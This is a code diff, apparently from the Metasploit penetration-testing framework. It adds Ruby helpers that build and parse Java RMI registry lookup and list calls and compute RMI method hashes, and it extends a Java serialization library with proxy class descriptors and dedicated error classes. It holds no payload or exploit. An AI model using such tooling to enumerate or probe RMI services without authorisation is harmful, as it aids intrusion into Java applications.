exceptions: ['java.rmi.AccessException', 'java.rmi.NotBoundException', 'java.rmi.RemoteException']
},
{
name: 'rebind',
descriptor: '(Ljava/lang/String;Ljava/rmi/Remote;)V',
exceptions: ['java.rmi.AccessException', 'java.rmi.RemoteException']
},
{
name: 'unbind',
descriptor: '(Ljava/lang/String;)V',
exceptions: ['java.rmi.AccessException', 'java.rmi.NotBoundException', 'java.rmi.RemoteException']
}
]
)
hash
end
end
end
end
end
end

View File

@ -0,0 +1,66 @@
# -*- coding: binary -*-
module Msf
module Java
module Rmi
module Client
module Registry
module Builder
# Builds an RMI call to java/rmi/registry/RegistryImpl_Stub#lookup() used to
# retrieve the remote reference bound to a name.
#
# @param opts [Hash]
# @option opts [String] :name the name to lookup
# @return [Rex::Proto::Rmi::Model::Call]
# @see Msf::Java::Rmi::Builder.build_call
def build_registry_lookup(opts = {})
object_number = opts[:object_number] || 0
uid_number = opts[:uid_number] || 0
uid_time = opts[:uid_time] || 0
uid_count = opts[:uid_count] || 0
name = opts[:name] || ''
call = build_call(
object_number: object_number,
uid_number: uid_number,
uid_time: uid_time,
uid_count: uid_count,
operation: 2, # java.rmi.Remote lookup(java.lang.String)
hash: registry_interface_hash,
arguments: [Rex::Java::Serialization::Model::Utf.new(nil, name)]
)
call
end
# Builds an RMI call to java/rmi/registry/RegistryImpl_Stub#list() used to
# enumerate the names bound in a registry
#
# @param opts [Hash]
# @return [Rex::Proto::Rmi::Model::Call]
# @see Msf::Java::Rmi::Builder.build_call
def build_registry_list(opts = {})
object_number = opts[:object_number] || 0
uid_number = opts[:uid_number] || 0
uid_time = opts[:uid_time] || 0
uid_count = opts[:uid_count] || 0
call = build_call(
object_number: object_number,
uid_number: uid_number,
uid_time: uid_time,
uid_count: uid_count,
operation: 1, # java.lang.String list()[]
hash: registry_interface_hash,
arguments: []
)
call
end
end
end
end
end
end
end

View File

@ -0,0 +1,49 @@
# -*- coding: binary -*-
module Msf
module Java
module Rmi
module Client
module Registry
module Parser
# Parses a java/rmi/registry/RegistryImpl_Stub#lookup() return value to find out
# the remote reference information.
#
# @param return_value [Rex::Java::Serialization::Model::ReturnValue]
# @return [Hash, NilClass] The remote interface information if success, nil otherwise
def parse_registry_lookup_endpoint(return_value)
values_size = return_value.value.length
end_point_block_data = return_value.value[values_size - 2]
unless end_point_block_data.is_a?(Rex::Java::Serialization::Model::BlockData)
return nil
end
return_io = StringIO.new(end_point_block_data.contents, 'rb')
reference = extract_reference(return_io)
reference
end
# Parses a java/rmi/registry/RegistryImpl_Stub#list() return value to find out
# the list of names registered.
#
# @param return_value [Rex::Java::Serialization::Model::ReturnValue]
# @return [Array, NilClass] The list of names registered if success, nil otherwise
def parse_registry_list(return_value)
unless return_value.value[0].is_a?(Rex::Java::Serialization::Model::NewArray)
return nil
end
unless return_value.value[0].type == 'java.lang.String;'
return nil
end
return_value.value[0].values.collect { |val| val.contents }
end
end
end
end
end
end
end

View File

@ -1,70 +0,0 @@
# -*- coding: binary -*-
require 'rex/java/serialization'
module Msf
module Java
module Rmi
module Client
module Streams
# Builds a RMI header stream
#
# @param opts [Hash{Symbol => <String, Fixnum>}]
# @option opts [String] :signature
# @option opts [Fixnum] :version
# @option opts [Fixnum] :protocol
# @return [Rex::Proto::Rmi::Model::OutputHeader]
def build_header(opts = {})
signature = opts[:signature] || Rex::Proto::Rmi::Model::SIGNATURE
version = opts[:version] || 2
protocol = opts[:protocol] || Rex::Proto::Rmi::Model::STREAM_PROTOCOL
header = Rex::Proto::Rmi::Model::OutputHeader.new(
signature: signature,
version: version,
protocol: protocol)
header
end
# Builds a RMI call stream
#
# @param opts [Hash{Symbol => <Fixnum, Rex::Java::Serialization::Model::Stream>}]
# @option opts [Fixnum] :message_id
# @option opts [Rex::Java::Serialization::Model::Stream] :call_data
# @return [Rex::Proto::Rmi::Model::Call]
def build_call(opts = {})
message_id = opts[:message_id] || Rex::Proto::Rmi::Model::CALL_MESSAGE
call_data = opts[:call_data] || Rex::Java::Serialization::Model::Stream.new
call = Rex::Proto::Rmi::Model::Call.new(
message_id: message_id,
call_data: call_data
)
call
end
# Builds a RMI dgc ack stream
#
# @param opts [Hash{Symbol => <Fixnum, String>}]
# @option opts [Fixnum] :stream_id
# @option opts [String] :unique_identifier
# @return [Rex::Proto::Rmi::Model::DgcAck]
def build_dgc_ack(opts = {})
stream_id = opts[:stream_id] || Rex::Proto::Rmi::Model::DGC_ACK_MESSAGE
unique_identifier = opts[:unique_identifier] || "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
dgc_ack = Rex::Proto::Rmi::Model::DgcAck.new(
stream_id: stream_id,
unique_identifier: unique_identifier
)
dgc_ack
end
end
end
end
end
end

123
lib/msf/java/rmi/util.rb Normal file
View File

@ -0,0 +1,123 @@
# -*- coding: binary -*-
require 'rex/java/serialization'
require 'rex/text'
module Msf
module Java
module Rmi
module Util
# Calculates a method hash to make RMI calls as defined by the JDK 1.2
#
# @param signature [String] The remote method signature as specified by the JDK 1.2,
# method name + method descriptor (as explained in the Java Virtual Machine Specification)
# @return [Fixnum] The method hash
# @see http://docs.oracle.com/javase/8/docs/platform/rmi/spec/rmi-stubs24.html The RemoteRef Interface documentation to understand how method hashes are calculated
def calculate_method_hash(signature)
utf = Rex::Java::Serialization::Model::Utf.new(nil, signature)
sha1 = Rex::Text.sha1_raw(utf.encode)
sha1.unpack('Q<')[0]
end
# Calculates an interface hash to make RMI calls as defined by the JDK 1.1
#
# @param methods [Array] set of method names and their descriptors
# @param exceptions [Array] set of declared exceptions
# @return [Fixnum] The interface hash
# @see http://docs.oracle.com/javase/8/docs/platform/rmi/spec/rmi-stubs24.html The RemoteRef Interface documentation to understand how interface hashes are calculated
def calculate_interface_hash(methods)
stream = ''
stream << [1].pack('N') # stub version number
methods.each do |m|
utf_method = Rex::Java::Serialization::Model::Utf.new(nil, m[:name])
utf_descriptor = Rex::Java::Serialization::Model::Utf.new(nil, m[:descriptor])
stream << utf_method.encode
stream << utf_descriptor.encode
m[:exceptions].each do |e|
utf_exception = Rex::Java::Serialization::Model::Utf.new(nil, e)
stream << utf_exception.encode
end
end
sha1 = Rex::Text.sha1_raw(stream)
sha1.unpack('Q<')[0]
end
# Extracts an string from an IO
#
# @param io [IO] the io to extract the string from
# @return [String, nil] the extracted string if success, nil otherwise
def extract_string(io)
raw_length = io.read(2)
unless raw_length && raw_length.length == 2
return nil
end
length = raw_length.unpack('s>')[0]
string = io.read(length)
unless string && string.length == length
return nil
end
string
end
# Extracts an int from an IO
#
# @param io [IO] the io to extract the int from
# @return [Fixnum, nil] the extracted int if success, nil otherwise
def extract_int(io)
int_raw = io.read(4)
unless int_raw && int_raw.length == 4
return nil
end
int = int_raw.unpack('l>')[0]
int
end
# Extracts a long from an IO
#
# @param io [IO] the io to extract the long from
# @return [Fixnum, nil] the extracted int if success, nil otherwise
def extract_long(io)
int_raw = io.read(8)
unless int_raw && int_raw.length == 8
return nil
end
int = int_raw.unpack('q>')[0]
int
end
# Extract an RMI interface reference from an IO
#
# @param io [IO] the io to extract the reference from, should contain the data
# inside a BlockData with the reference information.
# @return [Hash, nil] the extracted reference if success, nil otherwise
# @see Msf::Java::Rmi::Client::Jmx:Server::Parser#parse_jmx_new_client_endpoint
# @see Msf::Java::Rmi::Client::Registry::Parser#parse_registry_lookup_endpoint
def extract_reference(io)
ref = extract_string(io)
unless ref && ref == 'UnicastRef'
return nil
end
address = extract_string(io)
return nil unless address
port = extract_int(io)
return nil unless port
object_number = extract_long(io)
uid = Rex::Proto::Rmi::Model::UniqueIdentifier.decode(io)
{address: address, port: port, object_number: object_number, uid: uid}
end
end
end
end
end

View File

@ -51,5 +51,7 @@ module Rex
end
end
require 'rex/java/serialization/decode_error'
require 'rex/java/serialization/encode_error'
require 'rex/java/serialization/model'
require 'rex/java/serialization/builder'

View File

@ -0,0 +1,11 @@
# -*- coding: binary -*-
module Rex
module Java
module Serialization
class DecodeError < ::RuntimeError
end
end
end
end

View File

@ -0,0 +1,11 @@
# -*- coding: binary -*-
module Rex
module Java
module Serialization
class EncodeError < ::RuntimeError
end
end
end
end

View File

@ -15,6 +15,7 @@ module Rex
autoload :Field, 'rex/java/serialization/model/field'
autoload :LongUtf, 'rex/java/serialization/model/long_utf'
autoload :NewArray, 'rex/java/serialization/model/new_array'
autoload :ProxyClassDesc, 'rex/java/serialization/model/proxy_class_desc'
autoload :NewClassDesc, 'rex/java/serialization/model/new_class_desc'
autoload :NewEnum, 'rex/java/serialization/model/new_enum'
autoload :NewObject, 'rex/java/serialization/model/new_object'

View File

@ -24,7 +24,7 @@ module Rex
#
# @param io [IO] the io to read from
# @return [self] if deserialization succeeds
# @raise [RuntimeError] if deserialization doesn't succeed
# @raise [Rex::Java::Serialization::DecodeError] if deserialization doesn't succeed
def decode(io)
loop do
content = decode_content(io, stream)
@ -38,9 +38,9 @@ module Rex
# Serializes the Rex::Java::Serialization::Model::Annotation
#
# @return [String] if serialization suceeds
# @raise [RuntimeError] if serialization doesn't succeed
# @raise [Rex::Java::Serialization::EncodeError] if serialization doesn't succeed
def encode
raise ::RuntimeError, 'Failed to serialize Annotation with empty contents' if contents.empty?
raise Rex::Java::Serialization::EncodeError, 'Failed to serialize Annotation with empty contents' if contents.empty?
encoded = ''

View File

@ -26,10 +26,10 @@ module Rex
#
# @param io [IO] the io to read from
# @return [self] if deserialization succeeds
# @raise [RuntimeError] if deserialization doesn't succeed
# @raise [Rex::Java::Serialization::DecodeError] if deserialization doesn't succeed
def decode(io)
raw_length = io.read(1)
raise RuntimeError, 'Failed to unserialize BlockData' if raw_length.nil?
raise Rex::Java::Serialization::DecodeError, 'Failed to unserialize BlockData' if raw_length.nil?
self.length = raw_length.unpack('C')[0]
if length == 0
@ -37,7 +37,7 @@ module Rex
else
self.contents = io.read(length)
if contents.nil? || contents.length != length
raise RuntimeError, 'Failed to unserialize BlockData'
raise Rex::Java::Serialization::DecodeError, 'Failed to unserialize BlockData'
end
end

View File

@ -26,11 +26,11 @@ module Rex
#
# @param io [IO] the io to read from
# @return [self] if deserialization succeeds
# @raise [RuntimeError] if deserialization doesn't succeed
# @raise [Rex::Java::Serialization::DecodeError] if deserialization doesn't succeed
def decode(io)
raw_length = io.read(4)
if raw_length.nil? || raw_length.length != 4
raise ::RuntimeError, 'Failed to unserialize BlockDataLong'
raise Rex::Java::Serialization::DecodeError, 'Failed to unserialize BlockDataLong'
end
self.length = raw_length.unpack('N')[0]
@ -39,7 +39,7 @@ module Rex
else
self.contents = io.read(length)
if contents.nil? || contents.length != length
raise ::RuntimeError, 'Failed to unserialize BlockData'
raise Rex::Java::Serialization::DecodeError, 'Failed to unserialize BlockData'
end
end

View File

@ -21,13 +21,13 @@ module Rex
#
# @param io [IO] the io to read from
# @return [self] if deserialization succeeds
# @raise [RuntimeError] if deserialization doesn't succeed
# @raise [Rex::Java::Serialization::DecodeError] if deserialization doesn't succeed
def decode(io)
content = decode_content(io, stream)
allowed_contents = [NullReference, NewClassDesc, Reference]
allowed_contents = [NullReference, NewClassDesc, Reference, ProxyClassDesc]
unless allowed_contents.include?(content.class)
raise ::RuntimeError, 'ClassDesc unserialize failed'
raise Rex::Java::Serialization::DecodeError, 'ClassDesc unserialize failed'
end
self.description = content
@ -37,13 +37,13 @@ module Rex
# Serializes the Rex::Java::Serialization::Model::ClassDesc
#
# @return [String] if serialization succeeds
# @raise [RuntimeError] if serialization doesn't succeed
# @raise [Rex::Java::Serialization::EncodeError] if serialization doesn't succeed
def encode
encoded = ''
allowed_contents = [NullReference, NewClassDesc, Reference]
allowed_contents = [NullReference, NewClassDesc, Reference, ProxyClassDesc]
unless allowed_contents.include?(description.class)
raise ::RuntimeError, 'Failed to serialize ClassDesc'
raise Rex::Java::Serialization::EncodeError, 'Failed to serialize ClassDesc'
end
encoded << encode_content(description)

View File

@ -11,10 +11,10 @@ module Rex
#
# @param io [IO] the io to read from
# @return [Rex::Java::Serialization::Model::Element] if deserialization succeeds
# @raise [RuntimeError] if deserialization doesn't succeed or unsupported content
# @raise [Rex::Java::Serialization::DecodeError] if deserialization doesn't succeed or unsupported content
def decode_content(io, stream)
opcode = io.read(1)
raise ::RuntimeError, 'Failed to unserialize content' if opcode.nil?
raise Rex::Java::Serialization::DecodeError, 'Failed to unserialize content' if opcode.nil?
opcode = opcode.unpack('C')[0]
content = nil
@ -42,17 +42,17 @@ module Rex
when TC_CLASSDESC
content = NewClassDesc.decode(io, stream)
when TC_PROXYCLASSDESC
raise ::RuntimeError, 'Failed to unserialize unsupported TC_PROXYCLASSDESC content'
content = ProxyClassDesc.decode(io, stream)
when TC_REFERENCE
content = Reference.decode(io, stream)
when TC_NULL
content = NullReference.decode(io, stream)
when TC_EXCEPTION
raise ::RuntimeError, 'Failed to unserialize unsupported TC_EXCEPTION content'
raise Rex::Java::Serialization::DecodeError, 'Failed to unserialize unsupported TC_EXCEPTION content'
when TC_RESET
content = Reset.decode(io, stream)
else
raise ::RuntimeError, 'Failed to unserialize content'
raise Rex::Java::Serialization::DecodeError, 'Failed to unserialize content'
end
content
@ -62,7 +62,7 @@ module Rex
#
# @param content [Rex::Java::Serialization::Model::Element] the content to serialize
# @return [String] if serialization succeeds
# @raise [RuntimeError] if serialization doesn't succeed
# @raise [Rex::Java::Serialization::EncodeError] if serialization doesn't succeed
def encode_content(content)
encoded = ''
@ -87,6 +87,8 @@ module Rex
encoded << [TC_ENUM].pack('C')
when NewClassDesc
encoded << [TC_CLASSDESC].pack('C')
when ProxyClassDesc
content = [TC_PROXYCLASSDESC].pack('C')
when NullReference
encoded << [TC_NULL].pack('C')
when Reset
@ -94,7 +96,7 @@ module Rex
when Reference
encoded << [TC_REFERENCE].pack('C')
else
raise ::RuntimeError, 'Failed to serialize content'
raise Rex::Java::Serialization::EncodeError, 'Failed to serialize content'
end
encoded << content.encode
@ -105,6 +107,7 @@ module Rex
#
# @param content [Rex::Java::Serialization::Model::Element] the content to print
# @return [String]
# @raise [Rex::Java::Serialization::EncodeError] if the content is unknown
def print_content(content)
str = ''
@ -129,6 +132,8 @@ module Rex
str << "#{print_class(content)} { #{content.to_s} }"
when NewClassDesc
str << "#{print_class(content)} { #{content.to_s} }"
when ProxyClassDesc
str << "#{print_class(content)} { #{content.to_s} }"
when NullReference
str << "#{print_class(content)}"
when Reset
@ -136,7 +141,7 @@ module Rex
when Reference
str << "#{print_class(content)} { #{content.to_s} }"
else
raise ::RuntimeError, 'Failed to serialize content'
raise Rex::Java::Serialization::EncodeError, 'Failed to serialize content'
end
str

View File

@ -11,13 +11,13 @@ module Rex
include Rex::Java::Serialization::Model::Contents
# @!attribute type
# @return [String] The type of the field.
# @return [String] The type of the field.
attr_accessor :type
# @!attribute name
# @return [Rex::Java::Serialization::Model::Utf] The name of the field.
# @return [Rex::Java::Serialization::Model::Utf] The name of the field.
attr_accessor :name
# @!attribute field_type
# @return [Rex::Java::Serialization::Model::Utf] The type of the field on object types.
# @return [Rex::Java::Serialization::Model::Utf] The type of the field on object types.
attr_accessor :field_type
# @param stream [Rex::Java::Serialization::Model::Stream] the stream where it belongs to
@ -32,12 +32,12 @@ module Rex
#
# @param io [IO] the io to read from
# @return [self] if deserialization succeeds
# @faise [RuntimeError] if deserialization doesn't succeed
# @raise [Rex::Java::Serialization::DecodeError] if deserialization doesn't succeed
def decode(io)
code = io.read(1)
unless code && is_valid?(code)
raise ::RuntimeError, 'Failed to unserialize Field'
raise Rex::Java::Serialization::DecodeError, 'Failed to unserialize Field'
end
self.type = TYPE_CODES[code]
@ -53,14 +53,14 @@ module Rex
# Serializes the Rex::Java::Serialization::Model::Field
#
# @return [String] if serialization succeeds
# @raise [RuntimeError] if serialization doesn't succeed
# @raise [Rex::Java::Serialization::EncodeError] if serialization doesn't succeed
def encode
unless name.kind_of?(Rex::Java::Serialization::Model::Utf)
raise ::RuntimeError, 'Failed to serialize Field'
raise Rex::Java::Serialization::EncodeError, 'Failed to serialize Field'
end
unless is_type_valid?
raise ::RuntimeError, 'Failed to serialize Field'
raise Rex::Java::Serialization::EncodeError, 'Failed to serialize Field'
end
encoded = ''
@ -138,11 +138,12 @@ module Rex
# Serializes the `field_type` attribute.
#
# @return [String]
# @raise [Rex::Java::Serialization::EncodeError] if serialization fails
def encode_field_type
allowed_contents = [Utf, Reference]
unless allowed_contents.include?(field_type.class)
raise ::RuntimeError, 'Failed to serialize Field'
raise Rex::Java::Serialization::EncodeError, 'Failed to serialize Field'
end
encoded = encode_content(field_type)
@ -154,13 +155,13 @@ module Rex
#
# @param io [IO] the io to read from
# @return [Java::Serialization::Model::Utf]
# @raise [RuntimeError] if unserialization doesn't succeed
# @raise [Rex::Java::Serialization::DecodeError] if unserialization doesn't succeed
def decode_field_type(io)
allowed_contents = [Utf, Reference]
type = decode_content(io, stream)
unless allowed_contents.include?(type.class)
raise ::RuntimeError, 'Failed to unserialize Field field_type'
raise Rex::Java::Serialization::DecodeError, 'Failed to unserialize Field field_type'
end
type

View File

@ -11,11 +11,11 @@ module Rex
#
# @param io [IO] the io to read from
# @return [self] if deserialization succeeds
# @return [nil] if deserialization doesn't succeed
# @raise [Rex::Java::Serialization::DecodeError] if deserialization doesn't succeed
def decode(io)
raw_length = io.read(8)
if raw_length.nil? || raw_length.length != 8
raise ::RuntimeError, 'Failed to unserialize LongUtf'
raise Rex::Java::Serialization::DecodeError, 'Failed to unserialize LongUtf'
end
self.length = raw_length.unpack('Q>')[0]
@ -24,7 +24,7 @@ module Rex
else
self.contents = io.read(length)
if contents.nil? || contents.length != length
raise ::RuntimeError, 'Failed to unserialize LongUtf'
raise Rex::Java::Serialization::DecodeError, 'Failed to unserialize LongUtf'
end
end

View File

@ -31,7 +31,7 @@ module Rex
#
# @param io [IO] the io to read from
# @return [self] if deserialization succeeds
# @raise [RuntimeError] if deserialization doesn't succeed
# @raise [Rex::Java::Serialization::DecodeError] if deserialization doesn't succeed
def decode(io)
self.array_description = ClassDesc.decode(io, stream)
stream.add_reference(self) unless stream.nil?
@ -50,10 +50,10 @@ module Rex
# Serializes the Rex::Java::Serialization::Model::NewArray
#
# @return [String] if serialization succeeds
# @raise [RuntimeError] if serialization doesn't succeed
# @raise [Rex::Java::Serialization::EncodeError] if serialization doesn't succeed
def encode
unless array_description.kind_of?(ClassDesc)
raise ::RuntimeError, 'Failed to serialize NewArray'
raise Rex::Java::Serialization::EncodeError, 'Failed to serialize NewArray'
end
encoded = ''
@ -83,11 +83,11 @@ module Rex
#
# @param io [IO] the io to read from
# @return [Integer] if deserialization succeeds
# @raise [RuntimeError] if deserialization doesn't succeed
# @raise [Rex::Java::Serialization::DecodeError] if deserialization doesn't succeed
def decode_values_length(io)
values_length = io.read(4)
if values_length.nil? || values_length.length != 4
raise ::RuntimeError, 'Failed to unserialize NewArray'
raise Rex::Java::Serialization::DecodeError, 'Failed to unserialize NewArray'
end
values_length.unpack('N')[0]
@ -96,15 +96,15 @@ module Rex
# Extracts the NewArray data type
#
# @return [String]
# @raise [RuntimeError] if the NewArray description isn't valid
# @raise [RuntimeError] if the NewArray type isn't supported
# @raise [Rex::Java::Serialization::DecodeError] if the NewArray description isn't valid
# or type isn't supported
def array_type
if array_description.nil?
raise ::RuntimeError, 'Empty NewArray description'
raise Rex::Java::Serialization::DecodeError, 'Empty NewArray description'
end
unless array_description.kind_of?(ClassDesc)
raise ::RuntimeError, 'Unsupported NewArray description class'
raise Rex::Java::Serialization::DecodeError, 'Unsupported NewArray description class'
end
desc = array_description.description
@ -115,7 +115,7 @@ module Rex
end
unless desc.class_name.contents[0] == '[' # Array
raise ::RuntimeError, 'Unsupported NewArray description'
raise Rex::Java::Serialization::DecodeError, 'Unsupported NewArray description'
end
decoded_type = desc.class_name.contents[1]
@ -124,7 +124,7 @@ module Rex
elsif decoded_type == 'L' # L : Object
return desc.class_name.contents[2..desc.class_name.contents.index(';')] # Object class
else
raise ::RuntimeError, 'Unsupported NewArray Type'
raise Rex::Java::Serialization::DecodeError, 'Unsupported NewArray Type'
end
end
@ -132,54 +132,54 @@ module Rex
#
# @param io [IO] the io to read from
# @return [Fixnum, Float] if deserialization succeeds
# @raise [RuntimeError] if deserialization fails
# @raise [Rex::Java::Serialization::DecodeError] if deserialization fails
def decode_value(io)
value = nil
case type
when 'byte'
value = io.read(1)
raise ::RuntimeError, 'Failed to deserialize NewArray value' if value.nil?
raise Rex::Java::Serialization::DecodeError, 'Failed to deserialize NewArray value' if value.nil?
value = value.unpack('c')[0]
when 'char'
value = io.read(2)
unless value && value.length == 2
raise ::RuntimeError, 'Failed to deserialize NewArray value'
raise Rex::Java::Serialization::DecodeError, 'Failed to deserialize NewArray value'
end
value = value.unpack('s>')[0]
when 'double'
value = io.read(8)
unless value && value.length == 8
raise ::RuntimeError, 'Failed to deserialize NewArray value'
raise Rex::Java::Serialization::DecodeError, 'Failed to deserialize NewArray value'
end
value = value.unpack('G')[0]
when 'float'
value = io.read(4)
unless value && value.length == 4
raise ::RuntimeError, 'Failed to deserialize NewArray value'
raise Rex::Java::Serialization::DecodeError, 'Failed to deserialize NewArray value'
end
value = value.unpack('g')[0]
when 'int'
value = io.read(4)
unless value && value.length == 4
raise ::RuntimeError, 'Failed to deserialize NewArray value'
raise Rex::Java::Serialization::DecodeError, 'Failed to deserialize NewArray value'
end
value = value.unpack('l>')[0]
when 'long'
value = io.read(8)
unless value && value.length == 8
raise ::RuntimeError, 'Failed to deserialize NewArray value'
raise Rex::Java::Serialization::DecodeError, 'Failed to deserialize NewArray value'
end
value = value.unpack('q>')[0]
when 'short'
value = io.read(2)
unless value && value.length == 2
raise ::RuntimeError, 'Failed to deserialize NewArray value'
raise Rex::Java::Serialization::DecodeError, 'Failed to deserialize NewArray value'
end
value = value.unpack('s>')[0]
when 'boolean'
value = io.read(1)
raise ::RuntimeError, 'Failed to deserialize NewArray value' if value.nil?
raise Rex::Java::Serialization::DecodeError, 'Failed to deserialize NewArray value' if value.nil?
value = value.unpack('c')[0]
else # object
value = decode_content(io, stream)
@ -190,10 +190,9 @@ module Rex
# Serializes an NewArray value
#
# @param value [Fixnum] the value to serialize
# @param value [Float] the value to serialize
# @param value [<Fixnum, Float>] the value to serialize
# @return [String] the serialized value
# @raise [RuntimeError] if serialization fails
# @raise [Rex::Java::Serialization::EncodeError] if serialization fails
def encode_value(value)
res = ''

View File

@ -12,16 +12,16 @@ module Rex
# @!attribute class_name
# @return [Rex::Java::Serialization::Model::Utf] The name of the class
attr_accessor :class_name
# @!attribute name
# @return [Integer] The java class serial version
# @!attribute serial_version
# @return [Fixnum] The java class serial version
attr_accessor :serial_version
# @!attribute flags
# @return [Integer] The java class flags
# @return [Fixnum] The java class flags
attr_accessor :flags
# @!attribute fields
# @return [Array] The java class fields
attr_accessor :fields
# @!attribute fields
# @!attribute class_annotation
# @return [Rex::Java::Serialization::Model::Annotation] The java class annotations
attr_accessor :class_annotation
# @!attribute super_class
@ -39,11 +39,11 @@ module Rex
self.super_class = nil
end
# Deserializes a Rex::Java::Serialization::Model::ClassDescription
# Deserializes a Rex::Java::Serialization::Model::NewClassDesc
#
# @param io [IO] the io to read from
# @return [self] if deserialization succeeds
# @raise [RuntimeError] if deserialization doesn't succeed
# @raise [Rex::Java::Serialization::DecodeError] if deserialization doesn't succeed
def decode(io)
self.class_name = Utf.decode(io, stream)
self.serial_version = decode_serial_version(io)
@ -64,17 +64,16 @@ module Rex
# Serializes the Rex::Java::Serialization::Model::ClassDescription
#
# @return [String] if serialization succeeds
# @raise [RuntimeError] if serialization doesn't succeed
# @raise [Rex::Java::Serialization::EncodeError] if serialization doesn't succeed
def encode
unless class_name.class == Rex::Java::Serialization::Model::Utf ||
class_annotation.class == Rex::Java::Serialization::Model::Annotation ||
super_class.class == Rex::Java::Serialization::Model::ClassDesc
raise ::RuntimeError, 'Filed to serialize NewClassDesc'
raise Rex::Java::Serialization::EncodeError, 'Filed to serialize NewClassDesc'
end
encoded = ''
encoded << class_name.encode
encoded << [serial_version].pack('Q>')
stream.add_reference(self) unless stream.nil?
encoded << [serial_version].pack('q>')
encoded << [flags].pack('C')
encoded << [fields.length].pack('n')
fields.each do |field|
@ -113,11 +112,11 @@ module Rex
#
# @param io [IO] the io to read from
# @return [Integer] if deserialization succeeds
# @raise [RuntimeError] if deserialization doesn't succeed
# @raise [Rex::Java::Serialization::DecodeError] if deserialization doesn't succeed
def decode_serial_version(io)
raw_serial = io.read(8)
if raw_serial.nil? || raw_serial.length != 8
raise ::RuntimeError, 'Failed to unserialize ClassDescription'
raise Rex::Java::Serialization::DecodeError, 'Failed to unserialize ClassDescription'
end
raw_serial.unpack('Q>')[0]
@ -127,10 +126,10 @@ module Rex
#
# @param io [IO] the io to read from
# @return [Integer] if deserialization is possible
# @raise [RuntimeError] if deserialization doesn't succeed
# @raise [Rex::Java::Serialization::DecodeError] if deserialization doesn't succeed
def decode_flags(io)
raw_flags = io.read(1)
raise ::RuntimeError, 'Failed to unserialize ClassDescription' if raw_flags.nil?
raise Rex::Java::Serialization::DecodeError, 'Failed to unserialize ClassDescription' if raw_flags.nil?
raw_flags.unpack('C')[0]
end
@ -139,11 +138,11 @@ module Rex
#
# @param io [IO] the io to read from
# @return [Integer] if deserialization is possible
# @raise [RuntimeError] if deserialization doesn't succeed
# @raise [Rex::Java::Serialization::DecodeError] if deserialization doesn't succeed
def decode_fields_length(io)
fields_length = io.read(2)
if fields_length.nil? || fields_length.length != 2
raise ::RuntimeError, 'Failed to unserialize ClassDescription'
raise Rex::Java::Serialization::DecodeError, 'Failed to unserialize ClassDescription'
end
fields_length.unpack('n')[0]

View File

@ -27,7 +27,7 @@ module Rex
#
# @param io [IO] the io to read from
# @return [self] if deserialization succeeds
# @raise [RuntimeError] if deserialization doesn't succeed
# @raise [Rex::Java::Serialization::DecodeError] if deserialization doesn't succeed
def decode(io)
self.enum_description = ClassDesc.decode(io, stream)
stream.add_reference(self) unless stream.nil?
@ -39,11 +39,11 @@ module Rex
# Serializes the Rex::Java::Serialization::Model::NewEnum
#
# @return [String] if serialization succeeds
# @raise [RuntimeError] if serialization doesn't succeed
# @raise [Rex::Java::Serialization::EncodeError] if serialization doesn't succeed
def encode
unless enum_description.kind_of?(ClassDesc) &&
constant_name.kind_of?(Utf)
raise ::RuntimeError, 'Failed to serialize EnumDescription'
raise Rex::Java::Serialization::EncodeError, 'Failed to serialize EnumDescription'
end
encoded = ''
@ -65,10 +65,10 @@ module Rex
#
# @param io [IO] the io to read from
# @return [Rex::Java::Serialization::Model::Utf] if deserialization succeeds
# @raise [RuntimeError] if deserialization doesn't succed
# @raise [Rex::Java::Serialization::DecodeError] if deserialization doesn't succed
def decode_constant_name(io)
content = decode_content(io, stream)
raise ::RuntimeError, 'Failed to unserialize NewEnum' unless content.kind_of?(Rex::Java::Serialization::Model::Utf)
raise Rex::Java::Serialization::DecodeError, 'Failed to unserialize NewEnum' unless content.kind_of?(Rex::Java::Serialization::Model::Utf)
content
end

View File

@ -27,7 +27,7 @@ module Rex
#
# @param io [IO] the io to read from
# @return [self] if deserialization succeeds
# @raise [RuntimeError] if deserialization doesn't succeed
# @raise [Rex::Java::Serialization::DecodeError] if deserialization doesn't succeed
def decode(io)
self.class_desc = ClassDesc.decode(io, stream)
stream.add_reference(self) unless stream.nil?
@ -46,10 +46,10 @@ module Rex
# Serializes the Rex::Java::Serialization::Model::NewObject
#
# @return [String] if serialization succeeds
# @raise [RuntimeError] if serialization doesn't succeed
# @raise [Rex::Java::Serialization::EncodeError] if serialization doesn't succeed
def encode
unless class_desc.kind_of?(ClassDesc)
raise ::RuntimeError, 'Failed to serialize NewObject'
raise Rex::Java::Serialization::EncodeError, 'Failed to serialize NewObject'
end
encoded = ''
@ -74,6 +74,8 @@ module Rex
case class_desc.description
when NewClassDesc
str << class_desc.description.class_name.to_s
when ProxyClassDesc
str << class_desc.description.interfaces.collect { |iface| iface.contents }.join(',')
when Reference
str << (class_desc.description.handle - BASE_WIRE_HANDLE).to_s(16)
end
@ -91,7 +93,7 @@ module Rex
# @param io [IO] the io to read from
# @param my_class_desc [Rex::Java::Serialization::Model::NewClassDesc] the class description whose data is being extracted
# @return [Array] class_data values if deserialization succeeds
# @raise [RuntimeError] if deserialization doesn't succeed
# @raise [Rex::Java::Serialization::DecodeError] if deserialization doesn't succeed
def decode_class_data(io, my_class_desc)
values = []
@ -114,7 +116,7 @@ module Rex
# @param io [IO] the io to read from
# @param my_class_desc [Rex::Java::Serialization::Model::NewClassDesc] the class description whose data is being extracted
# @return [Array] class_data values if deserialization succeeds
# @raise [RuntimeError] if deserialization doesn't succeed
# @raise [Rex::Java::Serialization::DecodeError] if deserialization doesn't succeed
def decode_class_fields(io, my_class_desc)
values = []
@ -135,57 +137,57 @@ module Rex
# @param io [IO] the io to read from
# @param type [String] the type of the value to deserialize
# @return [Array(String, <Fixnum, Float>)] type and value if deserialization succeeds
# @raise [RuntimeError] if deserialization fails
# @raise [Rex::Java::Serialization::DecodeError] if deserialization fails
def decode_value(io, type)
value = []
case type
when 'byte'
value_raw = io.read(1)
raise ::RuntimeError, 'Failed to deserialize NewArray value' if value_raw.nil?
raise Rex::Java::Serialization::DecodeError, 'Failed to deserialize NewArray value' if value_raw.nil?
value.push('byte', value_raw.unpack('c')[0])
when 'char'
value_raw = io.read(2)
unless value_raw && value_raw.length == 2
raise ::RuntimeError, 'Failed to deserialize NewArray value'
raise Rex::Java::Serialization::DecodeError, 'Failed to deserialize NewArray value'
end
value.push('char', value_raw.unpack('s>')[0])
when 'double'
value_raw = io.read(8)
unless value_raw && value_raw.length == 8
raise ::RuntimeError, 'Failed to deserialize NewArray value'
